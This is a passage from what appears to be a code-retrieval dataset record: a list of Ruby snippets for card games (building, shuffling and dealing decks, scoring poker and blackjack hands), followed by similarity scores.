0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_hits\"] = 0\n \n perfs[\"strikeouts_last_1_game\"] = [0]\n perfs[\"strikeouts_last_2_games\"] = [0, 0]\n perfs[\"strikeouts_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"strikeouts_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"strikeouts_last_20_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_strikeouts\"] = 0\n \n \n perfs[\"total_bases_last_1_game\"] = [0]\n perfs[\"total_bases_last_2_games\"] = [0, 0]\n perfs[\"total_bases_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"total_bases_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"total_bases_last_20_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_total_bases\"] = 0\n \n hash[retrosheet_id] = perfs\nend", "def determine_cards(card,hsh)\n case card.number\n when 1\n assign_to_hsh(hsh,card,:ace)\n when 2\n assign_to_hsh(hsh,card,:two)\n when 3\n assign_to_hsh(hsh,card,:three)\n when 4\n assign_to_hsh(hsh,card,:four)\n when 5\n assign_to_hsh(hsh,card,:five)\n when 6\n assign_to_hsh(hsh,card,:six)\n when 7\n assign_to_hsh(hsh,card,:seven)\n when 8\n assign_to_hsh(hsh,card,:eight)\n when 9\n assign_to_hsh(hsh,card,:nine) \n when 10\n assign_to_hsh(hsh,card,:ten)\n when 11\n assign_to_hsh(hsh,card,:jack)\n when 12\n assign_to_hsh(hsh,card,:queen)\n when 13\n assign_to_hsh(hsh,card,:king)\n end\n end", "def add_card(name, suit, rank)\r\n card = Card.new(name, suit, rank)\r\n @cards << card\r\n @order << card.to_s\r\n end", "def add_card(aCard)\n @cards << aCard\n @cards.sort!() {|card1, card2| card1.rank <=> card2.rank}\n @rank_histogram[aCard.rank] += 1\n @suit_histogram[aCard.suit] += 1\n @evaluation = nil\n @score = 0\nend", "def hash\n [self.class.name, rank, natural_rank].hash\n end", "def hash\n @symbols.hash + 37*positive?.hash\n end", "def init_deck\n deck = []\n suits = ['S', 'C', 'D', 'H']\n values = ['A', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K']\n # can also use .product for this, but here's logic behind it for future reference\n suits.each do |suit|\n values.each do |value|\n deck << [suit, value]\n end\n end\n # work on own method for shuffling, here's shortcut, remember bang (!) modifies object\n deck.shuffle!\nend", "def initialize(rank, suit)\n\t\t\t@rank = rank\n\t\t\t@suit = suit\n\t\t\t@color = (suit == 'Spades' || suit == 'Clubs')? 'Black' : 'Red'\n\t\tend", "def generate_card (player)\n new_card = Card.new face, suit, value\n player.hand << new_card\n #update total for player\n player.total = player.total + new_card.value\n end", "def shuffle_card(cards, value, suit)\n suit.each do |ele1|\n value.each do |ele2|\n cards.push(suit: ele1, value: ele2)\n end\n end\n\n cards = cards * 4\n cards.shuffle!\nend", "def cards()\n deck_array = []\n suits = ['C', 'D', 'H', 'S']\n for num in 1..13\n suits.each do |suit|\n case \"#{num}\".to_i\n when 1\n deck_array << \"A#{suit}\"\n @redis.set(\"A#{suit}\", 1)\n when 11\n deck_array << \"J#{suit}\"\n @redis.set(\"J#{suit}\", 10)\n when 12\n deck_array << \"Q#{suit}\"\n @redis.set(\"Q#{suit}\", 10)\n when 13\n deck_array << \"K#{suit}\"\n @redis.set(\"K#{suit}\", 10)\n else\n deck_array << \"#{num}#{suit}\"\n @redis.set(\"#{num}#{suit}\", \"#{num}\")\n end\n end\n end\n deck_array\nend", "def suit\n @suit\n end", "def generate_deck # ANTHONY\n @suits.each do |suit|\n @rank.each do |rank|\n color = (suit == 'Spades' || suit == 'Clubs') ? 'Black' : 'Red'\n @cards << Card.new(rank, suit, color)\n end\n end\n end", "def create_shuffled_deck\n # value = (2..10).to_a\n ranks = (2..10).to_a + [\"J\", \"Q\", \"k\", \"A\"]\n values = (2..14).to_a\n suits = [\"Spades\", \"Diamonds\", \"Hearts\", \"Clubs\"]\n\n # suits.each do |suit|\n # ranks.each_with_index do |rank|\n # @deck << Card.new(rank, value[index], suit)\n # end\n # end\n\n i = 0\n counter = 0\n temp_deck = []\n until i == 4\n (0...ranks.length).each do |j|\n temp_deck << Card.new(ranks[j], values[j], suits[i])\n counter += 1\n end\n i += 1\n end\n\n #Shuffling cards\n until temp_deck.length == 0\n index = rand(0...temp_deck.length)\n self.add_card(temp_deck[index])\n temp_deck.delete_at(index)\n end\n counter\n end", "def initialize_deck\n VALUES.product(SUITS).shuffle\nend", "def initialize(codes)\n\t\t@cards = codes.split(\" \").map { |s| Card.new(s) }.sort {|a,b| a <=> b}.reverse\n\t\t\n\t\tdistinct_suits = Set.new.merge @cards.map{|card| card.suit}\n\n\t\tis_straight =\n\t\t\t@cards[0].value-1 == @cards[1].value &&\n\t\t\t@cards[0].value-2 == @cards[2].value &&\n\t\t\t@cards[0].value-3 == @cards[3].value &&\n\t\t\t@cards[0].value-4 == @cards[4].value\n\n\t\tif @is_straight && @cards[0].value == 14 && distinct_suits.size == 1\n\t\t\t@hand = 'ROYAL_FLUSH'\n\t\t\treturn\n\t\tend\n\n\t\tif is_straight && distinct_suits.size == 1\n\t\t\t@hand = 'STRAIGHT_FLUSH'\n\t\t\tset_ranking_cards([0])\n\t\t\treturn\n\t\tend\n\n\t\t# Four of a kind\n\t\tif equal_values([0,1,2,3])\n\t\t\t@hand = 'FOUR_OF_KIND'\n\t\t\tset_ranking_cards([0])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2,3,4])\n\t\t\t@hand = 'FOUR_OF_KIND'\n\t\t\tset_ranking_cards([1])\n\t\t\treturn\n\t\tend\n\t\t\n\t\t# Full house\n\t\tif equal_values([0,1,2],[3,4])\n\t\t\t@hand = 'FULL_HOUSE'\n\t\t\t@ranking_cards = [@cards[0]]\n\t\t\treturn\n\t\tend\n\t\tif equal_values([0,1],[2,3,4])\n\t\t\t@hand = 'FULL_HOUSE'\n\t\t\tset_ranking_cards([2])\n\t\t\treturn\n\t\tend\n\n\t\t# Flush\n\t\tif distinct_suits.size == 1\n\t\t\t@hand = 'FLUSH'\n\t\t\tset_ranking_cards([0,1,2,3,4])\n\t\t\treturn\n\t\tend\n\n\t\t# Straight\n\t\tif is_straight\n\t\t\t@hand = 'STRAIGHT'\n\t\t\tset_ranking_cards([0])\n\t\t\treturn\n\t\tend\n\n\t\t# 3 of a kind\n\t\tif equal_values([0,1,2])\n\t\t\t@hand = 'THREE_OF_KIND'\n\t\t\tset_ranking_cards([0,3,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2,3])\n\t\t\t@hand = 'THREE_OF_KIND'\n\t\t\tset_ranking_cards([1,0,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([2,3,4])\n\t\t\t@hand = 'THREE_OF_KIND'\n\t\t\tset_ranking_cards([2,0,1])\n\t\t\treturn\n\t\tend\n\n\n\t\t# 2 pair\n\t\tif equal_values([0,1],[2,3])\n\t\t\t@hand = 'TWO_PAIR'\n\t\t\tset_ranking_cards([0,2,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([0,1],[3,4])\n\t\t\t@hand = 'TWO_PAIR'\n\t\t\tset_ranking_cards([0,3,2])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2],[3,4])\n\t\t\t@hand = 'TWO_PAIR'\n\t\t\tset_ranking_cards([1,3,0])\n\t\t\treturn\n\t\tend\n\n\t\t# pair\n\t\tif equal_values([0,1])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([0,2,3,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([1,0,3,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([2,3])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([2,0,1,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([3,4])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([3,0,1,2])\n\t\t\treturn\n\t\tend\n\n\t\t@hand = 'HIGH_CARD'\n\t\tset_ranking_cards([0,1,2,3,4])\n\n\tend", "def initialize(s, v)\n\t\t@suit = s\n\t\t@value = v\n\tend", "def setTheSuit(suit) #generating the deck\n i =1;\n for i in 1..13\n if i === 1\n @cards << Card.new(\"Ace\", suit)\n elsif i < 11 && i > 1\n @cards << Card.new(\"#{i}\", suit)\n elsif i === 11\n @cards << Card.new(\"Jack\", suit)\n elsif i === 12\n @cards << Card.new(\"Queen\", suit)\n else\n @cards << Card.new(\"King\",suit)\n end\n i = i + 1 # making sure it goes to 13\n end\n end", "def hand_value(hand) #calling upon function \"hand_value\". Getting hand (made up var. at the moment) \n value = 0\n for card in hand #do is a method. calling upon each card in the hand\n if $deck_values.keys.include?(card) # IF the keys of deck_values are included in the card, then..\n value += $deck_values[card] #value is equal to the card within deck_values\n else #otherwise, if value is NOT equal to the keys of deck_values, then value is equal to card\n value += card \n end\n end\n return value\nend", "def cards_by_suit\n @cards_by_suit ||= @cards.group_by(&:suit)\n end", "def deal_cards(deck)\n hands []\n players.each do |player|\n hand = {\n player: = player\n card: = deck.shift\n }\n hands << hand\n end\n hands\n end", "def inspect\n \"#{value} of #{suit}\"\n end", "def initialize(face, suit, value)\n @face = face #using @face instead of self.face makes more sense to me.\n @suit = suit\n if face == \"Jack\" || face == \"Queen\" || face == \"King\" #kept what you had before but moved it up; \"face == \" between the double pipes escapes a \"string literal blah blah blah\" error\n @value = 10\n elsif face == \"Ace\"\n @value = 11\n else\n @value = face.to_i #if the face isn't a Jack, Queen, King, or Ace, it's just a number, so we can change that number from a string to an integer/Fixnum and then use that to set the card's value\n end #ends the \"if/else\" block\n end", "def deck_create\n\n deck_suits = [\"Hearts\", \"Spades\", \"Diamonds\", \"Clubs\"]\n\n deck_values = { \"2\" => 2, \"3\" => 3, \"4\" => 4, \"5\" => 5, \"6\" => 6, \n \"7\" => 7, \"8\" => 8, \"9\" => 9, \"10\" => 10, \"J\" => 10, \n \"Q\" => 10, \"K\" => 10, \"A\" => 11 }\n \n single_deck = []\n\n deck_values.each do | key, val |\n deck_suits.each do | suit |\n single_deck << [(key +\"-\" + suit), val]\n end\n end\n return single_deck\nend", "def initialize(suitname, rankvalue)\n @suit = Suit.to_suit(suitname)\n @rank = Rank.to_rank(rankvalue)\n raise \"Suit #{suitname} not valid!\" unless @suit\n raise \"Rank #{rankvalue} not valid!\" unless @rank\n end", "def initialize\n @cards = full_deck.shuffle\n @used = []\n @inhand = []\n @hands = []\n end", "def array_suit_rank\n h = []; d = []; c = []; s = []\n (0..6).each { |i|\n h << (@cards[i][1]) if @cards[i][0] == 1\n d<<(@cards[i][1]) if @cards[i][0] == 2\n c<<(@cards[i][1]) if @cards[i][0] == 3\n s<<(@cards[i][1]) if @cards[i][0] == 4 }\n # sort rank in any suit\n { :suit_H => h, :suit_D => d, :suit_C => c, :suit_S => s }.each { |suit, rank|\n rank.sort! { |first, second| second <=> first } }\n end", "def initialize(rank = nil)\n\n rank_hash = {\n 1=>\"Ace\", 2=>\"Two\",3=>\"Three\",4=>\"Four\",5=>\"Five\",6=>\"Six\",7=>\"Seven\",\n 8=>\"Eight\",9=>\"Nine\", 10=>\"Ten\",11=>\"Jack\",12=>\"Queen\",13=>\"King\"\n }\n rank = rank_hash[rand(1..13)] if rank.nil?\n\n @rank = rank\n\n end", "def initialize\n @ranks = %w(1 2 3 4 5 6 7 8 9 10 11 12)\n @suits = %w(Spades Diamonds Clubs Hearts)\n @cards = []\n generate_deck\n \n\n end", "def initialize(face_value, suit)\n @face_value = face_value\n @suit = suit\n end", "def initialize\n @ranks = %w(A 2 3 4 5 6 7 8 9 10 J Q K)\n @suits = %w(Spades Diamonds Clubs Hearts)\n @cards = []\n generate_deck\n end", "def initialize\n @ranks = %w(A 2 3 4 5 6 7 8 9 10 J Q K)\n @suits = %w(Spades Diamonds Clubs Hearts)\n @cards = []\n generate_deck\n end", "def create_deck(num)\r\n suits = ['Heart', 'Diamond', 'Spade', 'Club']\r\n values = ['Ace', 2, 3, 4, 5, 6, 7, 8, 9, 10, 'Jack', 'Queen', 'King']\r\n deck = Array.new\r\n \r\n num.times do\r\n suits.each do |s|\r\n values.each do |v|\r\n card = {suit: s, value: v}\r\n deck.push(card)\r\n end\r\n end\r\n end\r\n deck\r\nend", "def the_draw_card_value(deck_value, deck_card_name, cards, cards_value, random)\n #need to push to get value out...\n cards_value = cards_value + deck_value[random.to_i]\n deck_value.delete_at(random.to_i)\n return cards_value\n end", "def get_hand_value\n cards.reduce(0) { |hand_value, card| hand_value += card.value }\n end", "def test_hand_value_is_correctly_calculated\r\n @deck = Deck.new\r\n @deck = [Card.new(:clubs,:four, 4), Card.new(:diamonds,:ten,10)]\r\n assert_equal @deck.value, 14\r\n end", "def straight_flush_wake(array)\n #to initialize the hash use '.new'\n hash = Hash.new(0)\n suit = array.first.suit\n #to get suit to increment\n array.each{|card| hash[card.suit] +=1}\n hash.keys.length == 1 && hash [suit] == 5\nend", "def initialize_deck\n SUITS.product(VALUES).shuffle\nend", "def initialize (cards)\n #sort the cards and store them in @cards\n @cards = Array.new\n cards.each do |card|\n @cards << Card.new(card)\n end\n @cards.sort!\n \n #determine the rank of the hand\n @rank = 0\n \n #see if at least one pair exists\n if @cards[0] == @cards[1] or @cards[1] == @cards[2] or @cards[2] == @cards[3] or @cards[3] == @cards[4]\n @handStart = @cards[0] == @cards[1] ? 0 : @cards[1] == @cards[2] ? 1 : @cards[2] == @cards[3] ? 2 : 3\n @rank = 1 #one pair\n #see if it's part of a three of a kind\n if @cards[0] == @cards[2] or cards[1] == @cards[3] or cards[2] == @cards[4]\n #see if hand is a full house\n if (@cards[0] == @cards[1] and @cards[2] == @cards[3] and @cards[2] == @cards[4]) or (@cards[0] == @cards[1] and @cards[0] == @cards[2] and @cards[3] == @cards[4])\n @handSubstart = @cards[2] == @cards[4] ? 2 : 3\n @rank = 6 #full house\n else\n @rank = 3 #three of a kind\n \n #see if it's part of a four of a kind\n if @cards[0] == @cards[3] or @cards[1] == @cards[4]\n @rank = 7 #four of a kind\n end\n end\n else\n #see if there are two pairs\n if (@cards[0] == @cards[1] and @cards[2] == @cards[3]) or (@cards[1] == @cards[2] and @cards[3] == @cards[4]) or (@cards[0] == @cards[1] and @cards[3] == @cards[4])\n @rank = 2 #two pairs\n @handSubstart = @cards[2] == @cards[4] ? 2 : 3\n end\n end\n else\n #check for straight\n inorder = true\n 0.upto(@cards.count - 2) do |x|\n if @cards[x].face and !@cards[x+1].face\n inorder = false\n break\n elsif !@cards[x].face and !@cards[x+1].face\n unless @cards[x].value + 1 == @cards[x+1].value\n inorder = false\n break\n end\n else\n unless @cards[x+1].value == \"J\"\n inorder = false\n break\n end\n end\n end\n if inorder\n @rank = 4 #straight\n end\n end\n \n #check for flush, straight flush and royal flush\n flush = true\n suit = @cards[0].suit\n @cards.each do |card|\n unless card.suit == suit\n flush = false\n break\n end\n end\n if flush\n if @rank == 4\n @rank = 8 #straight flush\n elsif @cards[1].face and @cards[2].face and @cards[3].face and @cards[4].face\n @rank = 9 #royal flush\n elsif @rank < 6\n @rank = 5 #flush\n end\n end\n end", "def deck_cards\n ranks = [\"A\", 2, 3, 4, 5, 6, 7, 8, 9, 10, \"J\", \"Q\", \"K\" ]\n suits = [ \"hearts\", \"spades\", \"clubs\", \"diamonds\" ]\n deck = []\n players = []\n\n values.each_with_index do |value, index|\n suits.each do |suit|\n deck.push([value,suit])\n end\n end\n return deck.shuffle\nend", "def sum_cards(hand_array, deck_hash)\n hand_value = 0\n hand_array.each do |card_sym|\n hand_value += deck_hash[card_sym]\n end\n hand_value\nend", "def build_deck\n CARD_SUITS.product(CARD_VALUES).shuffle\nend", "def generate_a_deck\n Card::SUITS.map do |suit|\n Card::RANKS.map do |rank|\n Card.new(suit: suit, rank: rank)\n end\n end.flatten\n end", "def build_deck\n @deck = []\n @decks.times do\n @suits.each { |each_suit| @ranks.each { |each_rank| @deck.push(Card.new(each_rank, each_suit)) } }\n end\n end", "def set_next_suit(suit)\n end", "def initialize(suit, value, name, line2, line3, line4, line5, line6)\r\n\t\t@suit = suit #card suit\r\n\t\t@value = value #value acording to face\r\n\t\t@name = name #name to print to console\r\n\t\t@canplay = false #unless card meets certian conditions it cannot be played\r\n\r\n\t\t@b_line1 = \"╔═══════╗\"\r\n\t\t@b_line2 = \"║╔═════╗║\"\r\n\t\t@b_line3 = \"║║* * *║║\"\r\n\t\t@b_line4 = \"║║ * * ║║\"\r\n\t\t@b_line5 = \"║║* * *║║\"\r\n\t\t@b_line6 = \"║╚═════╝║\"\r\n\t\t@b_line7 = \"╚═══════╝\"\r\n\r\n\t\t@line1 = b_line1\r\n\t\t@line2 = line2\r\n\t\t@line3 = line3\r\n\t\t@line4 = line4\r\n\t\t@line5 = line5\r\n\t\t@line6 = line6\r\n\t\t@line7 = b_line7\r\n\tend", "def addCard(card)\n\t\t@cards << card\n\t\t@value += getValue(card.rank)\n\t\tif card.rank == 'Ace'\n\t\t\t@hasAce = true\n\t\tend\n\t\tif @cards.length == 2 and @value == 21 and @hasAce # updates should be in different method\n\t\t\t@blackjack = true\n\t\tend\n\t\tif @value > 21 and @hasAce\n\t\t\t@value -= 10\n\t\t\t@hasAce = false\n\t\tend\n\tend", "def initialize\n @ranks = %w(A 2 3 4 5 6 7 8 9 10 J Q K)\n @suits = %w(Spades Diamonds Clubs Hearts)\n @cards = []\n generate_deck\n end", "def initialize\n suits = [\"Heart\", \"Diamond\", \"Spade\", \"Club\"]\n values = [:Two, :Three, :Four, :Five, :Six, :Seven,\n :Eight, :Nine, :Ten, :Jack, :Queen, :King, :Ace]\n\n @cards = []\n suits.each do |suit|\n values.each do |value|\n @cards << Card.new(suit, value)\n end\n end\n shuffle!\n end" ]
[ "0.72963434", "0.71565443", "0.6813369", "0.65381444", "0.64920425", "0.64325", "0.6323177", "0.6031956", "0.59799117", "0.59735", "0.5952395", "0.5934461", "0.5933255", "0.59240896", "0.5922261", "0.591961", "0.5916267", "0.59093463", "0.59002066", "0.5890908", "0.587227", "0.586965", "0.5817411", "0.58164465", "0.58119917", "0.5792989", "0.5789151", "0.5785909", "0.57837266", "0.5756641", "0.574632", "0.57397586", "0.57370704", "0.56823826", "0.5674642", "0.5670351", "0.56664425", "0.5660824", "0.56535804", "0.5650672", "0.5649189", "0.56479985", "0.56245756", "0.5599375", "0.55906945", "0.5579267", "0.55707", "0.5560449", "0.55546975", "0.5548629", "0.55486256", "0.55395097", "0.5521348", "0.5509037", "0.55064553", "0.5503532", "0.55026716", "0.5501929", "0.5501838", "0.5501713", "0.5499706", "0.5478763", "0.5466944", "0.54480726", "0.5436809", "0.54269767", "0.5426376", "0.5423809", "0.5421615", "0.5415136", "0.5414399", "0.54136163", "0.541036", "0.5401846", "0.53966993", "0.5384446", "0.53832483", "0.5382287", "0.5357842", "0.53567517", "0.53545684", "0.53484607", "0.5347996", "0.5344575", "0.5337994", "0.5336424", "0.53262204", "0.5307561", "0.5306066", "0.52937883", "0.52911484", "0.52882296", "0.5286744", "0.52714247", "0.5268256", "0.5264099", "0.5236973", "0.5233446", "0.522448", "0.5223606" ]
0.59665966
10
Grab (delete) a card from the current deck, and put it in one of the hands. it takes one argument: which_hand: choose which to put the card in, accepts either "dealer" or "player"
def get_card_and_put_in_hand(which_hand) the_card = @deck_current.delete_at(rand(@deck_current.length)) if which_hand === "dealer" @hand_dealer.push(the_card) elsif which_hand === "player" @hand_player.push(the_card) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def deal_card(hand)\n #hand is a string whose valid values are 'player_cards' and 'dealer_cards' \n\n if !['player_cards','dealer_cards'].include?(hand)\n raise \"Unknown hand #{hand}\"\n end \n\n #Check for an empty deck and reshuffle if necessary\n if (session['game_cards'].length == 0) \n\n session['game_cards'] = session['discard']\n session['game_cards'].shuffle!\n session['discard'] = []\n append_message(\"Dealer shuffled the cards.\") \n\n end \n\n #Move the card\n session[hand] << session['game_cards'].pop \n\n end", "def deal_card(hand)\n\t# pick a random card and add to the hand\n\tindex = rand($card_deck.length)\n\thand << $card_deck[index]\n\n\t# remove the card from the deck\n\t$card_deck.delete_at(index)\nend", "def deal_dealer_card\n\n card = @deck.delete_at(0)\n @dealer_hand << card\n\n end", "def deal_player_card(current_player)\n\n card = @deck.delete_at(0)\n if current_player == 1 then\n @player1_hand << card\n end\n if current_player == 2 then\n @player2_hand << card\n end\n if current_player == 3 then\n @player3_hand << card\n end\n if current_player == 4 then\n @player4_hand << card\n end\n\n end", "def dealSelf(deck)\n \t@hands[0].addCard(deck.removeCard)\n end", "def deal(deck)\n unless players.size == 4\n raise NotImplementedError, \"only 4 players are supported\"\n end\n raise ArgumentError, \"deck has fewer than 43 cards\" if deck.size < 43\n\n deck = deck.shuffle\n\n merge(\n hands: Hamster::Hash[players.map {|p| [p, deck.shift(10)] }],\n kitty: deck.shift(3),\n )\n end", "def deal_card(game_deck,player)\n card = game_deck.deck.pop\n ace_checker(card,player)\n player.hand.push(card)\n puts\"#{player.player_name} received #{card.identify}\"\n puts \"Current hand: #{player.display_hand}\"\n win_or_bust(player)\n hit_or_stay(player)\nend", "def give_card_to_player(card,player)\n\t\t#player is another player object\n\t\t@cards[card].times do\n\t\t\tplayer.add_card(card)\n\t\tend\n\n\n\t\t#remove cards from hand if selected by another player\n\t\tself.remove_set_from_hand(card)\n\tend", "def deal(card)\n\t\[email protected](card)\n\tend", "def card_from_user(hand, cards_played)\n next_card_prompt(hand)\n\n puts \"What card would you like to play?\"\n card = get_card_following_suit(hand, cards_played)\n\n puts \"You picked #{card}\"\n hand.delete(card)\n\n card\n end", "def deal_card(player)\n if !self.is_empty?\n player.hand << cards.pop\n else\n self.initialize(1)\n end\n end", "def deal\n hit = bjdeck.draw\n self.player_hand << hit\n hit = bjdeck.draw\n self.computer_hand << hit\n end", "def deal_card_to_player(player, card, show)\n if show\n puts \"Dealing to #{player.name}: #{card}\"\n elsif\n puts \"Dealing hidden card to #{player.name}\"\n end\n player.hands[0].add_card(card, false)\n end", "def delete card\n @hand.delete(Card.new(card))\n end", "def player_deal_card\n player.add_card(deck.deal_card)\n player.add_card(deck.deal_card)\n player.show_hand\n end", "def deal_one_card\n player.hands.each do |hand|\n # return nil if hand.bust?\n deck.deal(hand.cards)\n puts \"#{player.name} got #{hand.cards[-1].output_card}\"\n end\n deck.deal(house.hand.cards)\n puts \"#{house.name} got #{house.hand.cards[-1].output_card}\"\n end", "def deal_cards(deck)\n hands []\n players.each do |player|\n hand = {\n player: = player\n card: = deck.shift\n }\n hands << hand\n end\n hands\n end", "def deal_card\n @deck.pop\n end", "def setCard( newCard )\n @cardsInHand.push(newCard)\n \n # since the computer player doesn't make bad guess, \n # we delete the card just received from the lists of potential right cards.\n i = 0\n while( i < @listOfAllSuspects.length )\n if( @listOfAllSuspects[i].value == newCard.value && @listOfAllSuspects[i].type == newCard.type )\n @listOfAllSuspects.delete_at(i)\n else\n i = i + 1\n end\n end\n \n i = 0\n while( i < @listOfAllLocations.length )\n if( @listOfAllLocations[i].type == newCard.type && @listOfAllLocations[i].value == newCard.value )\n @listOfAllLocations.delete_at(i)\n else\n i = i + 1\n end\n end\n \n i = 0\n while( i < @listOfAllWeapons.length )\n if( @listOfAllWeapons[i].type == newCard.type && @listOfAllWeapons[i].value == newCard.value )\n @listOfAllWeapons.delete_at(i)\n else\n i = i + 1\n end\n end\n end", "def remove_set_from_hand(card)\n\t\[email protected](card)\n\tend", "def hand_over_dealer\r\n puts \"Dealer getting 1 random card...\"\r\n @random_card = @game_deck.random_card # def random card\r\n random_card_val = @game_deck.deck[@random_card]\r\n @dealer_deck[@random_card] = random_card_val # to dealer\r\n @game_deck.deck.delete(@random_card) \r\n puts \"@dealer_deck = #{@dealer_deck}\"\r\n end", "def deal_cards(cards)\n @players.each do |player|\n player.hand += @deck.cards.pop(cards)\n end\n end", "def setCard(newCard)\n\t\t#add the card to this players hand\n\t\t@hand[newCard.value] = newCard\n\n\t\t#delete the card from the not seen list\n\t\tif newCard.type == :person\n\t\t\[email protected](newCard)\n\t\telsif newCard.type == :place\n\t\t\[email protected](newCard)\n\t\telse \n\t\t\[email protected](newCard)\n\t\tend\n\tend", "def deal_card\n @deck.remove(:front)\n end", "def addCardToHand(card)\n @hand << card\n end", "def discard\n\n # organize hand into sorted array of cards\n #### METHOD\n\n puts \"here is your hand #{hand}\"\n\n puts 'what cards? you can only discard 3.'\n\n #the player returns [2,3]\n ##### METHOD\n\n # find hand[2], hand[3] and remove from hand\n ##### METHOD\n\n # hand currently has 3 cards\n\n # hand << deck.deal(2)\n\n #RETURNS new hand\n\n\n #....player1.hand = the new hand\n end", "def hand_over_player \r\n puts \"Player getting 1 random card...\"\r\n @random_card = @game_deck.random_card # def random card\r\n random_card_val = @game_deck.deck[@random_card]\r\n @player_deck[@random_card] = random_card_val # to player\r\n @game_deck.deck.delete(@random_card) \r\n puts \"@player_deck = #{@player_deck}\"\r\n\r\n end", "def discard_card(player)\n if player.player_hand.size == 0\n return nil\n elsif player.player_hand.size == 1\n return player.player_hand.hand_to_list.first\n else\n rand_index = rand(player.player_hand.size)\n return player.player_hand.hand_to_list.fetch(rand_index)\n end\n end", "def deal_hand\n\t\thand = Array.new\n\t\t@num_cards.times do\n\t\t\tcard = get_card(get_random_number)\n\t\t\thand << card\n\t\t\tremove_card_from_deck(card)\n\t\tend\n\t\thand\n\tend", "def take_card\n @deck.shift\n end", "def createNewHand(deck, bet=nil)\n \tif @hands.empty?\n \t hand = DealerHand.new()\n \t hand.addCard(deck.removeCard)\n hand.addCard(deck.removeCard)\n addHand(hand)\n \tend\n end", "def add_card_to_hand(curr_hand)\n curr_hand.push(get_rand_card)\n end", "def card(hand)\n loop do\n print \"What card do you want (only from sets you have): \"\n wanted_card_name = gets.chomp\n # check against sets, and validate input (i.e. wanted card set in hand, but wanted card is not)\n unless Deck.card_id(wanted_card_name).nil?\n if (hand.collect { |e| e[0] }.include? (Deck.card_id(wanted_card_name)[0])) && !(hand.include? (Deck.card_id(wanted_card_name)))\n return Deck.card_id(wanted_card_name)\n else\n print \"Please enter a valid card name...\\n\"\n end\n else\n print \"Please enter a valid card name...\\n\"\n end\n end\n end", "def deal\n end_round()\n shuffle()\n rounds_dealt = 0\n while rounds_dealt < @hand_size\n @players.each do | player |\n if card = @deck.draw()\n player.hand << card\n else\n return\n end\n end\n rounds_dealt += 1\n end\n end", "def drawCard\n\t\t@hand = @hand.push(@deck.pop)\n\tend", "def get_card(card)\n @hand.append(card)\n end", "def deal\n @hand << @dealingmachine.deal_one_card << @dealingmachine.deal_one_card\n end", "def hit(hand, deck)\n hand.push(deck.pop)\nend", "def deal_card\r\n\t\tcards.pop\r\n\tend", "def hit_hand(player, hand)\n card = nil\n if @play_god\n card = @io.set_card(@shoe, player, nil)\n else\n card = @shoe.deal_card\n end\n hand.hit(card)\n end", "def deal_card\n if @unshuffled_deck[-1] == nil\n @unshuffled_deck = @addhand\n @addhand = @emptyarray\n @x = 0\n end\n card = @unshuffled_deck[@x]\n @unshuffled_deck[@x] = nil\n @x+=1\n return card\n end", "def discard(card)\n discard_pile << card\n end", "def move(area)\n options = []\n area.each { |f| options.push(f) }\n puts \"Which card? [1,2,3,4,5]\"\n options.each { |o| puts o[:name]}\n response = gets.to_i\n response -= 1\n $hand.push(area[response])\n area.delete[response]\nend", "def deal_cards\n MAX_CARDS.times do |d|\n @player_manager.players.each do |player| \n player.rack.add_card(@decks_manager.draw_pile.draw_card)\n end\n end\n\n # prep the discard pile with one card from the top of the draw pile\n @decks_manager.discard_top_card\n end", "def deal\r\n @deck_of_cards.shift\r\n end", "def deal amount = 5, player_name = \"Player #{@@anonymous_player_count += 1}\"\n cards = amount.times.map do\n card = take(1).first\n unless card\n reset_unused!\n card = take(1).first\n end\n @inhand << card\n card\n end\n hand = CardDecks::Hand.new *cards, deck: self, name: player_name\n @hands << hand\n hand\n end", "def discard_card(player)\n if player.player_hand.size == 0\n return nil\n elsif player.player_hand.size == 1\n return player.player_hand.hand_to_list.first\n elsif player.player_hand.wildcards.size > 0\n wildcards = player.player_hand.wildcards\n rand_index = rand(wildcards.size)\n return wildcards.fetch(rand_index)\n else\n rand_index = rand(player.player_hand.size)\n return player.player_hand.hand_to_list.fetch(rand_index)\n end\n end", "def play_card(pile, card)\n fail 'cannot play card outside your hand' unless cards.include?(card)\n\n if card.value == :eight\n pile.play_eight(card, favorite_suit)\n else\n pile.play(card)\n end\n\n cards.delete(card)\n end", "def discard(card)\n hand.transfer!(card: card, to: discard_pile)\n end", "def deal_a_card(players_hand, deck_final)\n players_hand << deck_final.pop\n return players_hand, deck_final\nend", "def hit(deck)\n @hand << deck.draw!\n end", "def deal\n @deckOfCards.shift\n end", "def take_turn( player, hand )\n turn = nil\n case turn = player.take_turn(hand, @dealer.up_card)\n when :hit:\n hand.hit(@deck.take_card)\n\n when :double_down:\n if hand.double_down_allowed?\n hand.double_down(@deck.take_card)\n else\n raise 'Cannot double down!'\n end\n\n when :split:\n if hand.split_allowed?\n hands = hand.split\n\n 2.times do |i|\n hands[i] << @deck.take_card\n player.hands << hands[i]\n end\n else\n raise 'Cannot split!'\n end\n\n when :stand:\n hand.stand # Ha... Kinda funny how that worked out.\n end\n\n turn\n end", "def turn_card(guess)\n 